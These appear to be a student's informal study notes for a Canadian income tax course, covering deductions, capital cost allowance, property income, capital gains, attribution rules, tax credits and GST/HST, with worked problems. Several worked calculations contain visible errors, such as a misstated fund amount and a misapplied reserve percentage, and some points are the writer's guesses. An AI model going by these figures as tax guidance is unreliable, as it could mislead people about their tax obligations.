50% deductible - - 100% if available to all employees six times maximum - - fund-raising events benefiting charity - -
Slide 60 Problem 12 - -- Income: 64,300 -- Acc amortization: 4,000 -- CCA: (22,400) -- Political donations: 1,000 -- Charitable donations: 8,000 -- Annual tennis club dues: 2,500 -- Meals and entertainment (50%): 1,700 -- Business income for tax purposes: $59,100 - -
- -Ch 3 Problem 23 - -Ned had unlimited use of the company's private swimming pool. The local pool charges annual fees of 1,800 per year before HST. There is no taxable benefit since the company is not paying on behalf of Ned. - -## Deductions Specifically Permitted From business or property \[sec 20] - -Even if not specifically permitted, it can be deducted if it is for income earning purposes. - -- write-offs of capital expenditure -- interest on borrowed money used for earing business income -- deduct bonus on the accrual basis if paid within 180 days after the taxation year -- Expenses of issuing shares or borrowing money - - equally over five years - - print and ad costs, filing fees, legal fees, transfer fees, commissions, etc. in relation to share issuance and borrowing - - refinancing costs such as rescheduling restructuring - - 20(1)(e) states that only 20% of financing expense is deductible -- Reserves - - For doubtful debts \[sec 20(1)(1)] - - Goods and services not rendered \[sec 20(1)(m)] - - Reserves for delayed payment revenues \[sec 20(1)(n)] - - Deducted for no more than 3 years - - When reserve is allowed, it must be added back to income in the following year - - New reserve can be deducted if it can be justified in the following year - - Reserve = % Unpaid Revenue \* Profit - - Manufacturer's warranty reserves \[sec 20(1)(m.1)] - -Therefore, if a deduction is not here, it probably is not deductible. An example would be legal costs in purchasing shares or life insurance premiums (exempt income test where the income earned for one thing is not taxable so therefore the contribution to said income is not tax-deductible either). - -- Employer Contributions to RPP and DPSP - - limit = MIN (18% of employment income, $30,780 for 2022) -- Convention expenses (2 per year) - - Conferences -- Representation expenses (licensing, permit, franchise) - - Fully deductible - - Deduct equally over 10 years - - Claim CCA -- Other expenses fully deductible - - landscaping - - site investigation - - audit fees (income earning purposes) - - training (income earning purposes) - -### Reserve for Delayed Payment Revenue - -Example - -- $160,000 revenue, cost of $4,000, $40,000 up front, 6 years of $20,000 annual payments. -- Income = $156,000 - -
answer - -- without taking reserve, pay entire amount on $156,000 -- Y22 reserve = 120,000 \* 156,000 / 160,000 = 117,000 - - Business Income = 39,000 -- Y23 reserve = 100,000 \* 156,000 / 160,000 = 97,500 - - income = 117,000 - 97,500 = 19,500 -- Y24 reserve = 80,000 \* 156,000 / 160,000 = 78,000 - - income = 97,500 - 78,000 = 19,500 -- Y25 income = 78,000 (3 years of reserve deductions met) - -
- -### Work space in home - -
Slide 69 Work space in home - - 20% of home is partitioned for self-employed work - -- utilities: 3,000 (20%) -- mortgage interest: 5,000 (20%) -- long distance call for work: 1,000 (100%) -- property taxes: 2,000 (0%) -- purchase of computer for work: 2,500 (CCA of 100% or 1.5 * 55%) -- general upkeep and maintenance 5,000 (20%) -- contents and property insurance: 200 (0%) -- supplies for the office 400 (20%) - -Calculate CCA of computer and prorate home expenses. - -Computer CCA can be 100% deductible if CCPC or individual. - -$6,500 - -OR: 1.5 (accelerated) \* 2,500 \* 55% - -$6063 - -
- -
Chapter 4, Problem 8 - -![Problem 8](/images/bu-357/problem-8.webp) - -- Start at net income: 13,000 -- Add back any capital expenditures: 3,200 + 1,200 -- Add back accounting reserves (e.g. legal): 500 -- Add back recreational expenses: 3,000 -- Add back amortization expense: 8,000 -- Add back not-for-income producing purposes -- Add back personal expenses: 1,200 -- Add back interest expense not related to business: 3,000 -- Add back half of meals and entertainment related to business: 4,000 \* 0.5 - - Fundraising for charity results in 100% deduction - - Meals and entertainment is for employees: 100% deduction -- Business income vs capital gain: - - Transaction is related to business and frequency of the transaction -- Add gain on sale (13,000 - 7,800 = 5,200) - -Business Income: 40,300 - -
- -### Midterm Information - -- Q1: Multiple choices on chapter 2 - - Definitions - - Residency - - Tax treatments - - Criteria - - Individual (common law full time resident, deemed full time resident, part time resident, non-resident) - - Corporation (deemed resident, non-resident) -- Q2: employment income chapter 3 - - Employee vs. self-employed - - Basic inclusion - - Benefits and allowance - - stock option, and deductions -- Q3: business income chapter 4 - - starting point: net earnings - - adjustments - - deductions denied - - deductions permitted - -### Depreciable property and CCA - -- Classes and accounts -- Opening balance (Unappreciated Cost of Capital) \[A] -- PLUS additional purchases \[B] -- MINUS any disposals \[C] (min of disposal and the costs of disposals) -- MINUS CCA (applying CCA rate to the **balance**) -- EQUALS UCC balance - -- CCA = CCA rate \* (A + 1.5 \* (B - C)) if B > C -- CCA = CCA rate \* (A + B - C) if B <= C -- Essentially, do not apply an acceleration on a negative value - -### Allowance - -- Depreciable property -- CCA - - General rules - - ownership - - Specific properties - -### Classes and CCA Rates - -- The act assigns various types of assets for specific classes -- Each class has a specific rate attached to it - - signifies the maximum deductible in a year - -### Common Classes - -- Class 1: 4% for buildings after 1987 -- Class 1 - Manufacturing Building (10%) on or after Mar. 19, 2007 for 90% usage -- Class 1: Not-residential building on or after Mar. 19, 2007 -- Class 8 (20%): Miscellaneous tangibles such as furniture, fixtures, outdoor advertising signs, properties not included in other classes -- Class 10 (30%: vehicles) -- Class 10.1 (30%): passenger vehicles greater than $34,000 excluding tax -- Class 12 (100%:): tools, instruments, kitchen utensils less than $500, uniforms, rental, computer software, -- Class 13 (Leasehold interest): enhancements made by the tenant -- Class 14: patents -- Class 14.1 (5%): indefinite-term intangibles, no legal limited life, incorporation costs over $3,000 -- Class 53 (50%) - manufacturing machinery and equipment after 2016 and before 2026 -- Class 43 (30%): other manufacturing machinery and equipment -- Class 50 (55%): computers and system software after March 18, 2007 - -### Accelerated CCA (Reg. 1104) - -- CCA will be 150% for net additions -- Applies to depreciable properties excluding class 12 acquired after 2018, phased out after 2023 - -### CCA Example 1 - -Class 8 (20%) assets with UCC of $80,000. Purchased $25,000 of class 8. There were disposals of 20,000 of costs of 35,000. - -A = 80,000, B = 25,000, C = MIN {20,000, 35,000}, CCA = 0.2 \* (80,000 + 1.5 \* (25,000 - 20,000)) = 17,500. Therefore UCC = 80,000 + 25,000 - 20,000 - 17,500 = 67,500 - -What if the old assets was sold for 30,000? - -A = 80,000, B = 25,000, C = MIN {30,000, 35,000}, CCA = 0.2 \* (80,000 + 25,000 - 30,000) = 15,000. Therefore UCC = 80,000 + 25,000 - 30,000 - 15,000 = 60,000 - -### Gains/Losses on Disposition - -- No capital loss -- Terminal loss - - When there is a positive balance in a class where all assets are disposed of - - The left over in the asset after UCC minus disposition. (CCA is not allowed on a sold asset). -- Recapture - - Negative balance in class -- Capital gain - - Selling price > original cost - -### Immediate Expensing (Optional) - -- 100% deduction -- Eligible properties: all properties except class 1 and class 14.1 -- Purchased after April 19, 2021 by a CCPC -- Purchased after Jan 1, 2022 by an individual business -- Limit is $1.5m per year - -Revisiting the example: suppose company is a CCPC or a Canadian individual resident - -CCA = CCA rate \* (A - C) + B - -TODO: combine for mega formula with all types of shenanigans - -### Full expensing M&P machinery and equipment (optional) - -Applies to all types of corporation - -- Class 53 after November 20, 2019 -- Class 54/55 after March 15, 2019 - -### Class 10.1 Automobile - -- CCA on additions is 34,000 instead of full amount -- 30% -- passenger vehicle costing $34,000 (plus tax) - - this is the max claim - - not pooled - - no recapturing or terminal loss - - CCA half-year rule on sale - -A car was purchased in March 2021 for $36,000 and sold in 2022 for $30,000 (ignore sales tax). - -
Slide 88 Answer - -Ignoring accelerated investment incentive property (AIIP) - -2022-cca = 36,000 \* (1 - 0.5 \* 0.3) \* (0.5 \* 0.3) = 4,590 - -
- -
ESL Academy - -1. Market research: 30,000 -2. Programming for IT platform development: 75,000 -3. Allocation of salaries of designer and teachers for development of content: 105,000 -4. Allocation of salaries of desiger and teachers for development IT platform: 35,000 -5. Web hosting and IT support: 3000 - -- What are current expenses? -- What are capital expenses and so CCA can be claimed? - - Development (computer application software) - -
- -### Leasehold improvement (class 13) - -- CCA = Lesser of - - a fifth (1/5) of the cost - - cost divided by remaining years on lease PLUS the length of the next renewal term - - max 40 - -Mr. E. Presley has been operating an automobile repair business. - -A warehouse was leased this year. The lease has a term of five years with five options for renewal of five years each. The lease period commences April 15. The cost of leasehold improvements was $70,000. - -CCA = MIN (70,000 / 5, 70,000 / 10) = 7,000 - -### Limited-life intangibles (class 14) - -- Patents, licenses, franchises with limited life -- Straight line method -- CCA = cost \* (days owned in the year) / (total days of life) - -Mr. E. Presley has been operating an automobile repair business. - -The right to a licence to sell special racing car parts was purchased for $30,000. The licence is valid for a period of 15 years commencing June 1 this year. Compute CCA for Mr. Presley’s business for the taxation year ended September 30, 2022. - -June: 30 days, July: 31 days, Aug: 31 days, Sep: 30 days. - -CCA = 30,000 \* 122 / 5540 = 661 (includes leap years, rounded up) - -## Income from Property - -- Inclusions: interest, dividends, rental -- Deductions - -### Property Interest Income - -- loans, deposits, and more -- compensation for lending money -- for corporations, accrue on a daily basis -- for individuals, cash method or annual accrual method for no interest payment - - anniversary day - - a day before issuance every year from now - -John needs to know the interest income in 2022 related to his two short-term investments: - -1. $20,000 term deposit purchased on November 30, 2022 (interest at maturity in six months) - Accrued interest from December 1 to December 31, 2022…..$85 - - - no interest income - -2. $400,000 GIC purchased on November 1, 2021 (interest payable at maturity on October 31, 2024) - Accrued interest from November 1, 2021 to October 31, 2022…$16,000 - Accrued interest from January 1, 2022 to December 31, 2022….$16,214 - - - Interest income of 16,000 - -### Property Dividend Income - -- From Canadian corporations, include dividend + gross up \[dividend tax credit = corporate tax]. - - purpose: restore dividend to pre-tax corporation income to better assess tax -- Claim the tax credit when calculating the tax payable. -- For CCPC with low corporate tax rate, - - 15% gross-up - - 10.38% of dividends is credited - - Example, income 100, corporate tax of 13 - - taxable is $100 (87 \* 1.15) - - tax at 46% = $46 - - tax credit of $13 (4.62% provincial) - - net personal tax = 33 - - total taxes paid on corporate profits = $46 -- For public corporation or CCPC not taxed at a lower rate (eligible dividends), [FEDERALLY](https://www.taxtips.ca/dtc/eligible-dividend-tax-credit.htm): - - 38% gross-up - - 20.73% of dividend is credited - - latest -- Dividends received from foreign companies do not get grossed up and have no tax credit - - the total dividend gets included not the net of foreign withholding tax (that part will most likely get credited) - -Slide 102, Chapter 6 Problem 3 - -- $200,000 in international income fund at 4% -- $20,000 in Canadian dividend fund at 3% -- 33% federal tax rate, 20% provincial -- international net income = 200,000 \* 0.04 \* (1 - 0.53) = 3,760 -- canadian net income - - dividend = 200_000 \* (0.03) = 6,000 - - gross-up = 6,000 \* 0.38 = 2,280 - - tax = (6,000 + 2,280) \* 0.53 = 4388.40 - - tax credit = 2,280 - - net income = 6,000 - 4,388 + 2,280 = 3,892 -- Therefore, better to pick the Canadian fund at a lower yield - -### Property Rental Income - -- Rent - Expenses -- Expenses - - Mortgage interest, insurance, property taxes, utility costs - - repairs, maintenance - - salaries, wages, property management fees - - CCA (class 1, 4%) - - CCA claimed cannot incur total rental loss (CCA limit across properties is the rental income before deduction) - - Separate classes for buildings >= $50,000 - -Jim owns two rental buildings which he purchased in 2021. Property A cost $40,000, Property B cost $45,000 After all expenses other than CCA, Jim's total rental income for the past two years was $1,000 in 2021 and $5,000 in 2022. Jim has chosen to deduct the maximum CCA for both years. What are the maximum CCAs? - -- CCA2021 = (40,000 + 45,000) \* 0.04 = 3,400 round down to 1,000 to prevent rental loss. -- UCC = 84,000 -- CCA2022 = 84,000 \* 0.04 = 3,360 - -### Tax Planning - -- given two choices, choose one with higher after-tax return - -### Property Deductions - -## Chapter 7 Capital Gains (CG) - -In summary, - -- taxable capital gains is from an investment not an adventure or business purposes -- taxable capital gains is 50% of total capital gains. -- personal use property is non-tax deductible - - needs to have proceeds over $1,000 - - costs will be rounded up to $1,000 -- listed personal property is only tax-deductible against other LPP and carry-forwards (7) / carry-backwards (3) -- allows reserves (subtract against gross) less of the business reserve rule or 80%-0% of net every year -- principal residence rule allows a plus 1 when the house is owned for more than a year - -### Business Income vs. Capital Gains - -- relation of transaction to business -- adventure in nature of trade -- nature of the assets -- frequency and amount of transactions -- holding period -- articles of incorporation - -### Example - -- a. Bill purchased land for $100,000, built and ran a restaurant, and then sold the land for $460,000 (CG applies) -- b. Martha purchased land for $100,000 and sold land two years later for $300,000 - -### Determining Capital Gains and Losses - -- Proceeds of disposition (POD) -- less: adjusted cost base (ACB) (cost plus/minus adjustments) -- less: disposition expenses -- net amount -- less: reserve -- CG/CL -- taxable capital gains = 1/2 \* CG -- allowable capital loss = 1/2 \* CL -- ACL is only deductible from TCG -- ACL needs to be adjusted if the rate was different at the time of loss compared to the time of deduction - -### Reserve for unpaid proceeds - -Lesser of (unpaid proceeds / total proceeds) \* net amount AND 80% of net amount in year 1, 60% in year 2, 40% in year 3, and 20% in year 4, 0 after year 4. - -A parcel of land with a cost of $4,000 was sold in 2022 for $160,000. For the total proceeds of $160,000, $40,000 was paid at the time of sale in 2022, and $20,000 payable in each year from 2023 to 2028. - -- Reserve2022 = MIN { 120,000 / 160,000 \* 156,000 = 117,000, 80% \* 156,000 = 124,800 } = 117,000 - - CG = 39,000, TCG = 0.5 * (39,000) = 19,500 -- Reserve2023 = MIN { 100,000 / 160,000 \* 156,000 = 97,500, 60% \* 156,000 = 93,600 } = 93,600 -- Reserve2024 = MIN { 80,000 / 160,000 \* 156,000 = 78,000, 40% \* 156,000 = 62,400 } = 62,400 -- Reserve2025 = MIN { 60,000 / 160,000 \* 156,000 = 58,500, 40% \* 156,000 = 31,200 } = 31,200 -- proceeds minus cost minus reserve is carried forward to next years proceeds - -### Personal Use Property (PUP) - -- round up cost to $1,000 if proceeds are more than $1,000 -- each property gain is taxable and losses are not deductible -- minimum proceeds of disposal = $1,000 -- minimum cost basis of $1,000 - -### Listed Personal Property (LPP) - -- round up proceeds to $1,000 if proceeds are less than $1,000 -- PUP with investment value - - print, etching, drawing, painting, or sculpture, or other similar works of art - - Jewelry - - rare folio, rare manuscript, rare book - - stamp - - coin -- Losses are recognized but only deductible against LPP - - unused losses carried backward 3 years, or forward 7 years - -- ACB; proceeds -- Oil painting (2,500; 500) - - round up proceeds to $1,000 - - investment value - - CL = -1,500 (LPP) -- Rare coins (800; 1,200) - - investment - - round up ACB to 1000 - - CG = 200 (LPP) -- Piano (25,000; 14,000) - - no CL because no an investment (PUP) -- Antique car (10,000; 15,000) - - CG of 5,000 (PUP) - - antique does not mean rare - -- LPP $0 taxable, carry-forward = 1,300 \* 0.5 = 650 -- PUP = 5,000 \* 0.5 = 2,500 taxable - -### Allowable Business Investment Loss (ABIL) - -- disposition of shares or loans of a small business corporation (SBC) - - SBC is a CCPC with substantially all assets used to conduct active business -- offset against all sources of income - -### Principal Residence \[sec 54] - -- owned and ordinarily inhabited for personal use -- one principal residence per family unit -- designation at sale -- capital gain is net of commissions -- claim exemption against capital gains -- (1 + years designated as principal residence) / (number of years owned) \* gain <= gain - - the 1+ accounts for selling and buying a house in the same year - - home should be owned for at least one year for the 1+ - - I believe when proceeds over a million, the gain over 500,000 should be taxable - - The year the principal residence is sold can be the start another property is the principal residence (assuming only two properties and the one sold first was maxed out) - -### Maximize Exemption With Multiple Homes - -Compare gain per year. - -Exercise 2 - -Patel has only two residences he wishes to dispose of in 2022 - -- Name; year purchased; cost; commissions; selling price -- City home; 2007; 180,000; 12,000; 247,000 - - 16 years; 55,000/16 gain per year -- Cottage; 2012; 90,000; 6,000; 164,000 - - 11 years; **68,000/11** gain per year (higher than home) - -Exemption = (1 + ?) / 11 \* 68,000 - -### Stock Dividends - -- ACB is paid up capital -- Increases net income by ACB + 38% gross up - -### Superficial Losses (denied) - -- no intention of disposing of the asset; disposed and reacquired within 30 days -- the denied losses are added to the ACB of the acquired asset - -Example. Taxpayer sold 500 shares of Corp. X for 8,000 on Dec 31, 2021 with ACB of 10,000. On Jan 5, 500 shares were reacquired for 7,500. Sold half of shares on July 20 at $21/share. What is TCG? - -ACB = 9,500/500 \* 250 = 4750. POD = 250 \* 21 = 5250. TCG = (5250 - 4750) / 2 = 250 - -### Computation of Div. B income (NIFTP) - -- Aggregate income (worldwide) -- Employment -- Business -- Property -- Other -- must be positive or zero - -Example - -- Employment: 35,000 -- Business 2,000 -- Property (3,000) -- Taxable Capital Gains 3,000 -- Allowable capital losses (8,000) - - (include 2,000 allowable business investment losses) -- RRSP contribution of 1000 - -- Employment (35,000) + Business (2,000) + 3,000 TCG - 3,000 ACL - RRSP 1000 - 3000 property - 2000 ABIL - -### Mr. A Capital Losses - -- Capital Gains: - - Shares 1850 - - Personal use property: 770 - - Listed personal property: 500 -- Capital losses - - Shares 750 - - Personal-use property 1000 - - Listed personal property 140 - - Listed personal property losses from previous year 100 - - Taxable gains? - -0.5 \* (1850 + 770 + (500 - 140 - 100)) - 750 \* 0.5 = 1065 - -## Chapter 8 Non-Arm's Length Transfers and Other Special Circumstances - -- Non-arm's length (NAL) rules - - prevent reduction of tax by selling price other than fair market value - - people related to each other (direct-line) - - government doesn't like income splitting - - income received on transferred property is attributed back to original owner - - exceptions: - - transferred or loaned at fair market value - - second-generation income - - income earned on profits of a company - - transferred to a related chid (18+) - - capital gains or losses - -- gift of $100,000 to his son, 21. The son earned $3,000 of interest income - - not attributable back -- 100,000 loan to mother-in-law, 81. Mutual funds and earned $12,000 - - the mutual fund is equivalent to transferred property - - the income made off the $12,000 would not be attributable back -- $100,000 to wife spent on expenses. Earned $10,000 on her own $100,000 - - income wasn't earned on the transferred cash (not property) - - the dividend was earned on her money - -### Selling to NAL \[sec 69] - -1. Sell price < FMV - - Deemed to sell at FMV - - Purchaser ACB = sell price -2. Sell price > FMV - - Deemed to sell at sell price - - **ACB equal to FMV** -3. Gifting - - Sales price to vendor = FMV - - Purchaser ACB = FMV - -### Transferred to Spouse - -- Sold at vendor's cost (rollover is automatic) -- Can choose to use NAL -- Property income and capital gains are attributed back unless transferred at FMV - -### Transferred to Children - -- to Under 18s - - NAL rule applies - - Property income is attributable unless transferred at FMV - - Capital gains not attributable back -- 18+ - - NAL rule - - property income and capital gains not attributable back - -### NAL Transfer Multiple Choice - -- ACB: 900,000 -- FMV: 1,000,000 -- shares given to 6 year old child - -Vendor will report $50,000 taxable gain on the transfer of shares. The ACB of the child is $1,000,000. - -- What if sold at $500,000 to child? -- What if given to spouse? - - Either deemed to sell at FMV with ACB of FMV or rollover (no gain, and same ACB) - -## Chapter 9 Other Sources of Income Deductions in Computing Income - -1. Other Income \[subdiv d] -2. Other Deductions \[subdiv e] - -### Other Income Major Items \[sec 56] - -- pensions and deferred income plans -- annuity payment -- retiring allowances -- social assistance, workers' compensations -- support payments from former spouse - -### Other Deductions Major Items \[] - -- support payments to former spouse (alimony) -- fees/expenses for objection or appeal of a tax assessment -- RRSP contributions - - contribution is less of { **18% of prior year's earned income**, 2022 limit of $29,210 } MINUS prior year's pension adjustment (PA). - - DPSP is Deferred Profit Sharing Plans - - investments not taxed until withdrawn - - contribution room is carried forward -- Moving expenses -- Child care expenses - -### Other Tax-Assisted Plans - -- TFSA - - Contribution is not deductible; income is not taxable. Annual limit, unused room carried forward -- RESP - - contribution is not deductible; income is taxable. max contribution of $50,000 over 31 years (35 if desirable) - - useful since government matches 20% of contribution to a max contribution of 2,500 -- FHSA (tax-free first home savings account) - - **contributions are deductible**; income is tax-free; unused contribution room cannot be carried forward, max of $8,000 per year, $40,000 lifetime max (5 years) - - must be used to buy first home otherwise taxed - -### Moving Expenses \[sec 62] - -- relocation to start business, employment, or attend university -- if moving expense > income in new location, carry forward unclaimed portion and deduct in following years -- deductible: - - meal $69/person/day without receipt - - transportation and storage of belongings - - temporary board and lodging (up to 15 days) - - costs of cancelling a lease for old residence - - selling costs of the old residence - - legal fees and land transfer taxes - - cost of maintaining old residence up to $5,000 - - cost of revising legal documents - -Exercise - -Ken and Mary were living in Edmonton. Ken was an engineer and Mary was a self-employed consultant. On April 4, 2022, the couple moved -from Edmonton to Toronto so that Ken could start a new position. Mary continued her business. Only one person can claim the moving deductions. - -- Return airfare for trip to find living accommodation in Feb 2022: $550 - - Not deductible, since not actual move -- Hotel and meals for three days during trip to find living accommodation (receipts kept): 500 - - Not deductible, since not actual move -- Airfare for the move to Toronto in April: $1,200 -- 20 days of moving and waiting - - hotel: 3,000 (prorate to 15 days) - - meals (not all receipts): 1,300 - - higher of: - - 15 days of $69/person/day (2 \* 69 \* 15) - - receipts would get prorated -- Legal fees and commissions of selling old home: 3,700 -- Loss on sale: 27,000 - - not covered in moving expense, covered in other section - - PuP so can't claim capital loss -- transporting household goods: 4,900 -- legal fees and land transfer tax on acquisition of new home in Toronto -- Interior decorating of new home - - not deductible - -Ken received a salary of $87,000 from his employer, and Mary earned $125000 as a self-employed consultant in Toronto. - -Total moving expenses = 1200 (air april) + 2250 (hotel prorated) + 2070 (allowable meal) + 3700 (old home expenses) + 4900 (transporting) + 900 (legal new home expenses) = 15,020. - -### Child care expenses \[sec 63] - -- cost of babysitting, day care, or lodging at a boarding school -- children under 16 -- less of - - 8,000 per child under 7 - - 5,000 per child 7-16 - - 11,000 per disabled child - - 2/3 of earned income -- claimable usually by lower income spouse (if only one parent, use that parent's income) - - if lower income spouse has an income of zero, then there is no benefit -- unless - - lower income spouse is a student, in hospital, jail, marriage breakdown - - limit not exceeding (275 per disabled child + 200 per child under 7 + 125 per child 7 to 16) \* weeks in special situation - -- Homer & Marge have 3 kids aged 10, 8, 1. Homer earned 15,000 and Marge earned 40,000. -- MIN {15,000 \* 2 / 3 = $10,000, 5,000 \* 2 + 8,000 = 18,000 } = 10,000 -- Therefore, the child care expense is $10,000 - -
Problem 13 on Slide 151 - -- 2022 -- public corporation -- kids aged 8 and 10. -- Recap (from memory) - - 8,000 under 7 - - 5,000 7-16 - - 11,000 disabled - -- 150,000 -- 30,000 -- (6,000) (RPP) - -(1) lease of 18,400. Operating cost benefit = 0.29 * 10,000 = 2900 vs. 6131/2. $200 per month is paid for use of the car. -Standby benefit = 2/3 * 18,400 * 10,000 / (1667*12) = 2/3 * 18,400 * 10,000 / 20,004 = 6132 -2900 + 6132 - 2400 = 6632 - -(2) no benefit since options were not exercised - -(3) benefit of 850 - 500 since gift is over $500. - -(4) 1300 for fitness club membership. Omit $350 since it is private healthcare plan - -- 1800 interest income -- 7500 CA public corporation dividend (also taxable on gross up of 7500 \* 0.38 = 2850) - - 20.7% of dividend is credited -- 680 US corporation (net of 15%) dividend (taxable on 680 / 0.85) -- annuity payment of 2000 minus capital portion 650 = 1350 -- Principal house 18800 (net of commissions) - - (1 + 2022 - 2011 + 1) / (2022 - 2009 + 1) = 13 / 14 - - 2011 because the cottage got the +1 - - (188000 - 90000) \* (1 - 13 / 14) \* 50% inclusion = 7,000 capital gains = 3,500 taxable capital gains -- Minors - - 6% 2,000 five year bond - - $120 \* 2 taxable = 240 -- Expenditures - - Investment counsellor's fee 1,100 (deduct because it was for income earning purposes) - - Loan interest of 850 (deduct because it was for stocks which is for income earning purposes) - - Deduct Rental Loss of 3,500 - - Deduct RRSP 14,000 - - Max deductible; min(29210,0.18*170000)-7000 = 22,210 - - carry forward 22210 - 14000 = 8210 - - Deduct meals & entertainment of 0.5 * 8300 = 4150 - -- Employment income: 150000+30000-6000+6632+350+1300-4150 = 178,132 -- Properties Income: 1800 + 7500 + 2850 + 800 + 240 - 1100 - 850 - 3500 = 7740 -- Other income:1,350 (annuity) -- 3,500 (taxable CG) -- (14,000) (RRSP) -- (3200) business loss -- NIFTP: 178,132 + 7740 + 1350 + 3500 - 14000 - 3200 = 173,522 - -Irrelevant to NIFTP: - -tax credit on CPP: (3,500) (does not reduce income for tax purposes) -tax credit on EI (953) -income taxes deducted: (55,000) (to find payable amount after credits) - -
- -## Chapter 10 Calculation of Taxable Income and Taxes Payable for Individuals - -1. Taxable income [Div. C] - - = Div. B NIFTP - Div. C Special Deduuctions -2. Calculation of Tax for Individuals [Div. E] - -### Special Deductions - -- Stock options [sec 110(1)(d)] -- Loss carryovers [sec 111] -- Lifetime capital gain deduction [sec 110.6] -- Social assistance; workers’ compensation [sec 110(1)(f)] - -### Loss Carryovers - -- Non-capital losses - - Deductible against everything - - Unused business, property, employment losses and ABILs - - Carried backward 3 years and forward 20 years against any income -- Net Capital loss - - Deductible against taxable capital gains - - carried back 3 years, forward indefinitely - - on death deductible against any income - - conversion of rates over the year (3/4 → 2/3 → 1/2) - - 2/3 from 1988 to 1989, 3/4 from 1990 to 1999, 2/3 in 2000, 1/2 since 2001 - - [inclusion rates](https://www.canada.ca/en/revenue-agency/services/tax/individuals/topics/about-your-tax-return/tax-return/completing-a-tax-return/personal-income/line-12700-capital-gains/you-calculate-your-capital-gain-loss/inclusion-rates-previous-years.html) - - to convert, divide by numerator and then multiply by the denominator and then multiply by recent rate -- ABILs reclassified as net capital loss after 10 years of being unused - -### Lifetime Capital Gain Deduction - -- qualified small business corporation shares -- qualified farm property - -Slide 158 example - -Salary of 72,000 and taxable capital gains of 4,500. NonCapitalLoss of 28,000 from 2018 and NetCapitalLoss of 12,000 from 2019. -Public corporation stock options of 2,000 shares at $4 per share (equal to fair value on grant day) exercised with fair market value of $10/share. - -- Therefore, employment income of 72,000 -- Benefit of (10 - 4) \* 2000 = 12,000 -- Taxable capital gains of 4,500 -- Net income for tax purposes of 72,000 + 12,000 + 4,500 = 88,500 -- Less -- Division C (option was not ITM) deduction of 12,000 \* 0.5 = 6,000 -- Less: Net Capital Loss = 4,500 -- Less: Non-capital loss = 28,000 -- Taxable income = 88,500 - 6,000 - 4,500 - 28,000 = 50,000 - -- Net capital loss balance = 12,000 - 4,500 = 7,500 -- Non capital loss balance = 0 - -Example 2 - -The Net Capital Loss in 1999 was 6,000. How to convert to 2022? - -Since it used to be 3/4 and now it is 1/2, we need to get back. - -6,000 / 3 \* 4 / 2 OR 6,000 \* 2 / 3 = 4,000 - -### Tax Calculation - -Before deducting credits, calculate the federal tax. Add tax from base amount in income tax bracket table to (Taxable amount - final income of previous) \* tax rate. - -### Tax Credit - -These credits are non-refundable meaning that federal tax cannot go under 0. - -- Basic: 15% \* - - 14,398 for income < 155,625 - - proportionally reduced for income between 155,625 and 221,708 - - reduced credit = 14,398 - (net income - 155,625) \* (1,679 / 66,083) - - 12,719 for income > 221,708 -- Married or Equivalent to married - - Basic credit plus 15% \* tax payer's basic amount reduced by the spouses/ETM's Div. B income - - single, divorced, separated, widowed, supporting a relative, or under 18 - - Example: you have taxable income of 120,000 - - Married credit: 15% \* 14,398 + 15% * (14,398 - spouse div. B income) - -### Age Amount - -- 15% -- Reduced by 15% of net income excess of 39,826 - -### Caregiver - -- infirm adult dependent -- 15% -- less for spouse or minor - -### Pension Income - -- 15% of a max of 2,000 and pension income - -### Employment Credit - -- 15% of a max of 1,287 employment income - -### Medical Expense Credit - -- Medical expenses paid for the taxpayer, spouse, and children that exceeds MIN(3% of net income, 2,479). -- Medical expenses paid for other dependant -- 15% - -Implications: small medical items are not taken care of, but large medical expenses results in a credit for the entirety - -### Impairment Tax Credit - -Can be transferred to spouse if the impaired person cannot use it. 15%. - -
Problem 7 (Slide 170) - -
- -### Donation Credit - -### CPP and EI credits - -- 15% of CPP and EI (given) to a maximum - - Max EI of 953 - - Max CPP of 3,500 - -### Tuition credit - -- Entire tuition is a credit (times 15%) -- Transferrable up to 5,000 - -### Dividend Tax Credit - -- 20.7% of dividends paid from public corporations and others taxed at general tax rates -- 10.38% of dividends paid from CCPC corporations with low tax rates -- Can be transferred to spouse under certain conditions - -### Foreign Tax credit \[sec 126] - -### Political Contributions \[sec 127(3)] - -- 75% of first $400 -- 50% of the next 350 -- 33 1/3% of contributions over 750. -- Maximum $650 annually. - -### Chapter 10 Problems - -
Chapter 10, Problem 5 - -Div. B income - -- Mrs. Plant: $60,000 (58,000 in employment income) -- Amanda: 7,000 -- Joan: - - Home ↔ university $150 - - 4,200 - 150 = 4,050 -- Courtney 2,800 -- Mr. Plant 5,000 + 100 (don't include 4,000 in dividends since it was first generation) - -Mrs. Plant credits: - -- Married credit = 14,398 + 14,398 - 5,100 = 23,696 -- Employment - - CPP = 3500 - - EI = 1287 -- Caregiver credit for Amanda = 2,350 -- Caregiver credit for Mr. Plant = 7,525 -- Tuition (Amanda) = 300 = 300 -- Tuition (Joan) = 3000 = 3000 -- Impairment (Amanda) = 8,870 -- Impairment (Mr. Plant) = 8,870 -- Total \* 15% = 60,351 \* 0.15 = 9,053 -- Dividend tax credit = 0.207 \* 4,000 = 828 -- Non-refundable credits = 9,881 - -
- -## Sales Tax (GST & HST) - -- GST/HST is a consumption tax on goods and services (supplies) in Canada -- It is collected by business (registrants) who sell supplies -- targets final stage - - refundable input tax credit applies on purchases - - goods and services must be purchased for commercial activities - - If ITC exceeds the tax, registrants receive refunds - -### Supplies - -- sales or rentals of goods -- rendering of services -- leases, sales, or other transfer of real properties -- 3 categories of supplies - - taxable supplies - - subject to 5% of tax - - entitled to input tax credit - - subject to tax each time they are sold - - Zero-rated supplies - - 0% of tax - - entitled to input tax credit - - prescription drugs, medical devices, basic groceries, exported goods and services - - Exempt supply - - no GST/HST - - no input tax credit - - Examples: health care and child care services, educational services, most financial services - -- Clothing store sells pair of jeans ot a customer - - taxable -- Consulting done for US private company (performed in the USA) - - zero-rated since exported -- A Canadian bank charges a monthly fee for the chequing account. - - exempt - -Section 6.1.2. requires the new CPA to “assess reporting systems, data requirements and business processes to support reliable tax compliance.” - -Data analytics - -- Big data refers to the increasing volume of data now available, as well as its variety and the speed at which it can be processed. -- Analytics is the means for extracting value from this data - the tool that generates insights and deeper understanding. - -Advantage - -- Access to tax information quickly; prepared for strategic tax planning; collect tax data - -Process for data analytics - -1. Define the question; gather information and data -2. Analyze data and issues -3. Communicate results - -## Problems - -
